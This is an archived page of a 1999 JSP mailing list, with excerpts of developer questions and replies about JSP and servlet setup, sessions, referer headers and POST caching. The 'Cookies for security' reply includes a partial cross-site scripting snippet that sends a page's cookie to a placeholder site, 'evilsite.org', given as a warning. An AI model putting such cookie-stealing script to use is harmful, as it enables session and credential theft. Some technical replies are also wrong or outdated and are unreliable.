Re: Jrun's errorpage/iserrorpage ?

1999-06-10 Thread Michael Halmich
...look at the JSP 1.0 Beta 1 Features located at /jsp/jspsamp/features.jsp "... The pageContext and exception objects are not implemented. ..." Michael -- Stimm gegen SPAM! - Vote against SPAM! http://www.politik-digital.de/spam/ ==

Parameters Passing & getting

1999-06-10 Thread Raghuraman Sridharan
Dear members, Has anyone worked with using .jsp concepts displaying parameters on the developed HTML pages. What I intend to ask is without using out.println() (i.e.) without embedding HTML tags on the server side of the Java Code. Like i would like to have an simple example to see the

Re: Jrun's errorpage/iserrorpage ?

1999-06-10 Thread Michael Halmich
> ...look at the JSP 1.0 Beta 1 Features located at /jsp/jspsamp/features.jsp sorry, it's /jsp/jspsamp10/features.jsp -- Stimm gegen SPAM! - Vote against SPAM! http://www.politik-digital.de/spam/ === To unsubscribe, send em

JSP on HP-UX

1999-06-10 Thread Anonymous
Hi, anybody out there using JSP (any version) on HP-UX ? If so, please tell me which JSP-product you are using. JRun perhaps ? Can't tell from their web site if "Unix" includes HP-UX. Best regards Javier Borrajo I+D Spain

i thought very few people know JSP!!!!!!!!!

1999-06-10 Thread Prashant Swaroop
Reply these 5 Ans. to know how many people are serious about JSP and standout in this rat race.--->--->-->-->.. Answer in Y/N. 1. Will learning JSP help you increase in your salary? 2. Is JSP better than ASP and keep you in market for 5 years? 3. Is maintenance of JSP site is le

Re: About web servers

1999-06-10 Thread Yuichiro Kubota
Hello I saw another JSP FAQ(http://www.esperanto.org.nz/jsp/jspfaq.html), so I know that lots of organizations offer a JSP implementation. For example JSP Reference by Sun, GNU JSP by Mr. Vincent Partington. Could you tell me if any JSP Implementations support Apache, IIS and etc, please? Since

Re: Abou web servers

1999-06-10 Thread Anonymous
Hello. I've seen the page(http://gnujsp.isquare.com.hk/). It's very good page to know about web servers and servlet engines that JSP supports. Could you tell me if other JSP implementations can support web servers like GNUJSP, please? Thank you for your help. Yuichiro Kubota Jesus wrote: >The

Multiple sessions

1999-06-10 Thread Steve Cooke
Is it possible to create muliple sessions for the same user. If a user opens two browser windows, both windows share the same session scoped beans. This leads to pretty bothersome effects when, for instance, the bean preserves visual state or the user would like two instances of the same form, or

java

1999-06-10 Thread Johan Johansson
Can anyone tell me what this means? Note: Mnsearch_HLR.java uses a deprecated API. Recompile with "-deprecation" for details. 1 warning It is printed when I compile certain java-files. === To unsubscribe, send email to [E

Re: java

1999-06-10 Thread Arie Fishler
When upgrading to a higher JDK version, like from jdk1.1.7 to JDK 1.2, Sun might have changed some of the API included in the JDKs. The changes are usually renaming method, changing parameters of existing methods or even canceling the method completely. Each change method which does not exist anym

Package loading

1999-06-10 Thread Anonymous
I'm not very awared of using external classes in JSP. It might be a trivial question, but how could I load packaged classes in my pages ? The only way I found until now is to had my package classes directly in the server's jar archive (/lib/jrun.jar in my case). And then I'm able to import

Re: Package loading

1999-06-10 Thread Arie Fishler
In the server, JRun from my experience, there is a parameter setting for the classpath. This is in the JRunAdmin under the General tab and under the Java tab there. Just add the jat with the full path into the classpath and it will be able to load any class from there. You can change the cl

FW: How do you send them back to where they came from?

1999-06-10 Thread Beheshti, Reza
Thanks to all of you who responded, but I still can not get to the original page URL!!! I tried both HttpUtils.getRequestURL() and req.getRequestURI() from the servlet and BOTH of them just return the URL for the servlet NOT the page that the servlet was called from. Here is an example of what I

Re: FW: How do you send them back to where they came from?

1999-06-10 Thread Craig R. McClanahan
In HTTP terms, you are asking for the "referer" page -- the one that contained a link that pointed at the current servlet. To retrieve that, just say: String referer = req.getHeader("Referer"); and it will be there. This will return NULL, however, if someone had bookmarked the servlet URL

Cookies for security

1999-06-10 Thread Anonymous
Hi, I need help about the following problem: I used the cookies to manage a protected web site, then a cookie stores the status of a user, i.e. login and password. I used Apache Web Server and Apache Jserv as a Servlet engine. Under Netscape 4.6 it's ok. Under IE 5, it's ok only from my computer(

Re: Linux version?

1999-06-10 Thread Christopher Cobb
I have JWS 2.0 beta2 running on Linux at home. I'll post the patch file on the list when I get home. cc Eric Badger wrote: >Part 1.1Type: Plain Text (text/plain) >Encoding: quoted-printable === To uns

using encodeURL

1999-06-10 Thread Tommy Berglund
Hi everyone, This letter is kind of similar to a previous one I sent, but I haven't been able to make it work yet despite the replies I got... I'm trying to develop pages that can keep session-scoped beans without using cookies. I've understood that I need to use encodeURL, but I haven't been abl

PLEASE HELP !!! with apache / jserv

1999-06-10 Thread Thibaut Colar
Hi,  sorry to bothering you for the third time, but i really need help I've installed apache 1.3.6 on win98 and jserv (so also jsdk2.0). most of this is working but when i go to the page http://127.0.0.1:80/status/jserv/  i see this page ( http://sequ.jetsoftware.com:3080/jsp/page1.html )  on this

Re: FW: How do you send them back to where they came from?

1999-06-10 Thread Hans Bergsten
"Beheshti, Reza" wrote: > > Thanks to all of you who responded, but I still can not get to the original > page URL!!! > I tried both HttpUtils.getRequestURL() and req.getRequestURI() from the > servlet and BOTH of them just return the URL for the servlet NOT the page > that the servlet was called

PageContext - Pooled?

1999-06-10 Thread Leong Mun Wai
Hi, I'm curious to know if PageContext objects are pooled? If so, this pool resides in JspFactory? The reason I'm asking this is because of its release() method, which "prepares it for potential reuse by a later invocation of initialize()" (from the javadoc). Thanks! Mun Wai ===

Re: Cookies for security

1999-06-10 Thread Anonymous
Using cookies for security can be quite dangerous, as JavaScript subverts the protection you were likely expecting. In particular, if it's possible for users to put content anywhere on your site, they can have the contents of the cookie sent to them: http://evilsite.org/cookieReader?" + Docu

Re: How do you send them back to where they came from?

1999-06-10 Thread Ken Chu
Title: RE: How do you send them back to where they came from? You can do this in JavaScript.  Add the following code to your JSP file after all your server-side processing is done:
if (document.referrer)
{
    locat

Re: PLEASE HELP !!! with apache / jserv

Thibaut Colar wrote: > Hi, sorry to bothering you for the third time, but i really need > helpI've installed apache 1.3.6 on win98 and jserv (so also > jsdk2.0).most of this is working butwhen i go to the page > http://127.0.0.1:80/status/jserv/ i see this page ( > http://sequ.jetsoftware.com:3

POST and browser behavior

I'm working on a JSP shopping cart implementation, and am having a problem getting a desired behavior. Here's what happens with my shopping cart: -- my cart -- (1) User is viewing the cart, (2) User changes the quantity of item(s) in the cart via a form (METHOD=post), and submits. (3) Quantity is

Re: not html

Which application server are you using? -Original Message- From: Vincent Roderick [mailto:[EMAIL PROTECTED]] Sent: Monday, June 07, 1999 12:54 PM To: [EMAIL PROTECTED] Subject: Re: not html What version of the implementation are you running, what platform, and what JDK version do you h

Re: POST and browser behavior

I would also be interested in an answer for this. Internet Explorer (IE) 4.01 experiences the same problem when the "Back" button is pressed in a Shipment Tracking application. If someone has a solution, definitely post it to the group as I assume many other Java Servlet-based applications exper

Car won't start after installing JSP...

I installed JSP and now my car won't start. Any ideas? -tg === To unsubscribe, send email to [EMAIL PROTECTED] and include in the body of the message "signoff JSP-INTEREST". For general help, send email to [EMAIL PROTECTED

runtime exception question

I have installed jsp1.0, started the server and run the servlet samples run fine, but the all of the jsp samples return a runtime exception as follows:   java.lang.NoClassDefFoundError: sun/tools/javac/Main     at com.sun.jsp.compiler.Main.compile(Main.java:194)     at com.sun.jsp.run

Re: Car won't start after installing JSP...

I know why, now your car needs Jump Start Protocol everytime, good luck! On Thu, 10 Jun 1999, Taylor Gautier wrote: > I installed JSP and now my car won't start. > > Any ideas? > > -tg > > === > To unsubscribe, send email t

Re: POST and browser behavior

As far as I can tell, this is a "design decision" on Microsoft's part. My guess is that they felt that POSTing a form is usually done for some sort of submission of data, for security reasons, you shouldn't be able cache the results of a POST. (For example, you're on a public terminal, and you P

Re: Car won't start after installing JSP...

You should check the air in your tires! Taylor Gautier wrote: > > I installed JSP and now my car won't start. > > Any ideas? > > -tg > > === > To unsubscribe, send email to [EMAIL PROTECTED] and include in the body > of the m

Problems Getting Started with JSP 1.0 RI (was: Re: JavaServer Pages 1.0 Public Release)

JSPers, We are very, very sorry for the difficulty in ease-of-use in this release of JSP. The team is closely monitoring the list and will be fixing the problems as quickly as possible. Please stay tuned and we'll have something to you shortly after JavaOne. Thanks for the support this group has

Re: POST and browser behavior

> Anyways, my advice still stands - use GET if you can. Unfortunately, GET is not appropriate all the time. In the case of a shopping cart application, using get would cause the form to be re-executed automatically, which defeats the purpose (see my original post). Somehow, amazon is managing to

Re: Car won't start after installing JSP...

Your car probably has a microsoft runtime engine, try switching to a Sun engine, like hot spot or something... - Original Message - From: Taylor Gautier <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Thursday, June 10, 1999 8:02 PM Subject: Car won't start after installing JSP...

Re: POST and browser behavior

So if the same problem shows up on multiple browsers, multiple servers, and GET/POST is irrelevant, let's revist the possibility of HTTP headers. A page can be set to expire by one of 2 methods. Set an HTTP header or use a META tag in the HTML. The same methods can also be used to say that a pa

Re: FW: How do you send them back to where they came from?

Use req.getHeader("REFERER") where req is the HttpRequest. > > "Beheshti, Reza" wrote: > > Thanks to all of you who responded, but I still can not get to the original > page URL!!! I tried both HttpUtils.getRequestURL() and req.getRequestURI() from the > servlet and BOTH of them just return the U

Re: POST and browser behavior

What I can't figure out is why it isn't consistent. It appears to work fine on my machine and then the page expires on someone elses. This is the reason that I proginally thought it may have been a setting in the browser, but I have still had no luck upon experimentation with the settings in IE

Re: runtime exception question

Try Putting the tools.jar in your CLASSPATH     akg  

Re: POST and browser behavior

> So if the same problem shows up on multiple browsers, multiple > servers, and > GET/POST is irrelevant, let's revist the possibility of HTTP headers. > > A page can be set to expire by one of 2 methods. Set an HTTP > header or use > a META tag in the HTML. The same methods can also be used to

Re: POST and browser behavior

Some ideas that might be useful. 1. Use POST but then do a redirect. You post to a page that updates the state (say add something to the basket) and then redirect to a page which display the new state (contents of the basket). This way the user can hit reload and it doesn't reapply the post. Th

Applets with Servlet or jsp

Can you call a servlet or jsp from within a applet? Or should one just connect back to the server using a Socket connection. Thanks Alexis Bose === To unsubscribe, send email to [EMAIL PROTECTED] and include in the body o

Re: Applets with Servlet or jsp

The only possible way that I see is the same way one would call a servlet/jsp from within an applett using the http (hyper text transfer protocol). There are tons of programs which to similiar things (such as Tik , a TCL script which querries different news sites to gather news headers). This wa

Re: Applets with Servlet or jsp

A code fragment that might help you is below: (where applet parameter icodeURL is something like http://yourserver/servlet/servletname and you import java.net and java.io) boolean getInformixAC() { URL icodeURL = null; times=1; Notes.setText("" );

Re: Car won't start after installing JSP...

I had the same problem.. I found though a quick fix.. I have put on all .jsp pages '//' as a start of a line... Not only the car works, but it compiles 50 times better. I found this solution vastly outperform any ASP/php2/pl/tcl/python solution. Also I found that if you rename all .jsp to .html y

Re: POST and browser behavior

The original "problem" was that the user set a quantity and did a POST. The user-visible result of the POST was evidently to redisplay the same page. Then the user changed a quantity and instead of hitting the submit button again, hit the back button. After going through the awkward but irrelevant

QUESTION:Does the JSP:REQUEST directive work for JSP files or onl y servlets

I am using the sun reference implementation of JSP 1.0 I have the following JSP Files: "JSPExample.jsp" and "ToDoListTable.jsp". The problem is that the does not invoke a "nested" JSP file and as such be processed as a JSP servlet. It seems to be only looking for plain servlets (i.e. no JSP pro

Re: Applets with Servlet or jsp

Elliot Rusty Harold has a fabulous book on Java network programming. I shows examples of how to do this. You can do something like applet.getAppletContext.showDocument(url) to replace the current page with something else. If you want the current page to remain, but go get info from the server a

Re: POST and browser behavior

GET does not have a body ( all the data has to be send in the URL) POST has a body which contains the data in URL-encoded format. GET appends the form variables string to URL using (?) POST send the form string data as request body (check HTTP protocol spec) its easy to test web application if y

Re: QUESTION:Does the JSP:REQUEST directive work for JSP files or onl yservlets

Instead of , try using <%@ include file="file" %>. I think that's the one to include pages with code in them. -jh - Original Message - From: Lawrence Turcotte <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Thursday, June 10, 1999 5:07 PM Subject: QUESTION:Does the JSP:REQUEST directiv

Re: POST and browser behavior

> 1. Use POST but then do a redirect. > > You post to a page that updates the state (say add something > to the basket) > and then redirect to a page which display the new state > (contents of the > basket). This way the user can hit reload and it doesn't > reapply the post. > This still doesn't

Functions or SubRoutines in JSP?

Is it possible to create functions or sunroutines in JSP(like an ASP 'sub')? If so, can somebody please point me in the right direction of how? TIIA === To unsubscribe, send email to [EMAIL PROTECTED] and include in the bod

Re: POST and browser behavior

Search the MSDN Library for any of the following strings: Expires ExpiresAbsolute HTTP-EQUIV META Here's an example of how to set it in HTML. Put the META tag inside the HEAD tag. Here's an example of how to set it in HTTP, along with 2 other headers. This is from an embedded web server I bu

Re: POST and browser behavior

> Bob Foster wrote: > The original "problem" was that the user set a quantity and did a > POST. The > user-visible result of the POST was evidently to redisplay the same page. > Then the user changed a quantity and instead of hitting the submit button > again, hit the back button. Not exactly --

Re: Functions or SubRoutines in JSP?

>From what I've read so far, it looks like this: <% function Hello() { alert('Hello, world!'); } %> Ed Livin' La Vida Loca > -Original Message- > From: Pel I. Kan [mailto:[EMAIL PROTECTED]] > Sent: Thursday, June 10, 1999 07:01 PM > To: [EMAIL PROTECTED] > Subject

Re: runtime exception question

You need tools.jar from jdk1.2\lib in your classpath.it's used to compile the servlet resulting from the jsp. -- dIon Gillard, Multitask Consulting Work: http://www.multitask.com.au Play:http://www.trongus.com I have installed jsp1.0, started the server and run the servlet samp

JavaServer Web Development Kit 1.0-EA Available

hi - not really sure how craig found out about this push before i did ... oh well, i'm just glad it's finally out there. sorry about the delay. this release should take care of the "running on jdk1.1.x/windows throws a 404" problem several folks have bumped into. feel free t

Re: QUESTION:Does the JSP:REQUEST directive work for JSP files or onl yservlets

This also we tried here with IBM Websphere all thw formats for include file. it is not working. we are not able to call another .jsp file from the initial one. I am too surprised which is the very basic thing in .html. could anyone help in this regard , how to call second.jsp page from first

Re: QUESTION:Does the JSP:REQUEST directive work for JSP files or onl yservlets

The docs say: Does this help? Ed Livin' La Vida Loca > -Original Message- > From: Raghuraman Sridharan [mailto:[EMAIL PROTECTED]] > Sent: Thursday, June 10, 1999 11:00 PM > To: [EMAIL PROTECTED] > Subject: Re: QUESTION:Does the JSP:REQUEST directive work for > JSP files > or onl ys

Re: QUESTION:Does the JSP:REQUEST directive work for JSP files or onl yservlets

page 41 of Java Servlet Programming (Jason Hunter) Ralph Eddy 415-383-4924 fax) 415-383-6560 mailto:[EMAIL PROTECTED] > -Original Message- > From: A mailing list about Java Server Pages specification > and reference > [mailto:[EMAIL PROTECTED]]On Behalf Of Jayme Hafen > Sent: Thursday,

Re: How do you send them back to where they came from?

Hai Reza, Try Using request.getHeader("Referer") Hope this helps , let me know if u have any problems. Mahesh -Original Message- From: Beheshti, Reza <[EMAIL PROTECTED]> To: [EMAIL PROTECTED] <[EMAIL PROTECTED]> Date: Thursday, June 10, 1999 8:14 PM Subject: FW: How do you send t

Re: runtime exception question

include tools.jar ( jdk1.2\lib\tools.jar) in u r classpath . Hope this Helps U. MY -Original Message- From: Robert J Walker <[EMAIL PROTECTED]> To: [EMAIL PROTECTED] <[EMAIL PROTECTED]> Date: Friday, June 11, 1999 12:18 AM Subject: runtime exception question > > >Note: Some recipient

Re: QUESTION:Does the JSP:REQUEST directive work for JSP files or onl yservlets

NO, it doesn't help with our WebSphere 2.0 Thanks ANy more help on this. Raghuraman > -- > From: Jenkins, Ed[SMTP:[EMAIL PROTECTED]] > Reply To: Jenkins, Ed > Sent: Friday, June 11, 1999 8:42 AM > To: [EMAIL PROTECTED] > Subject: Re: QUESTION:Does the JSP:REQUES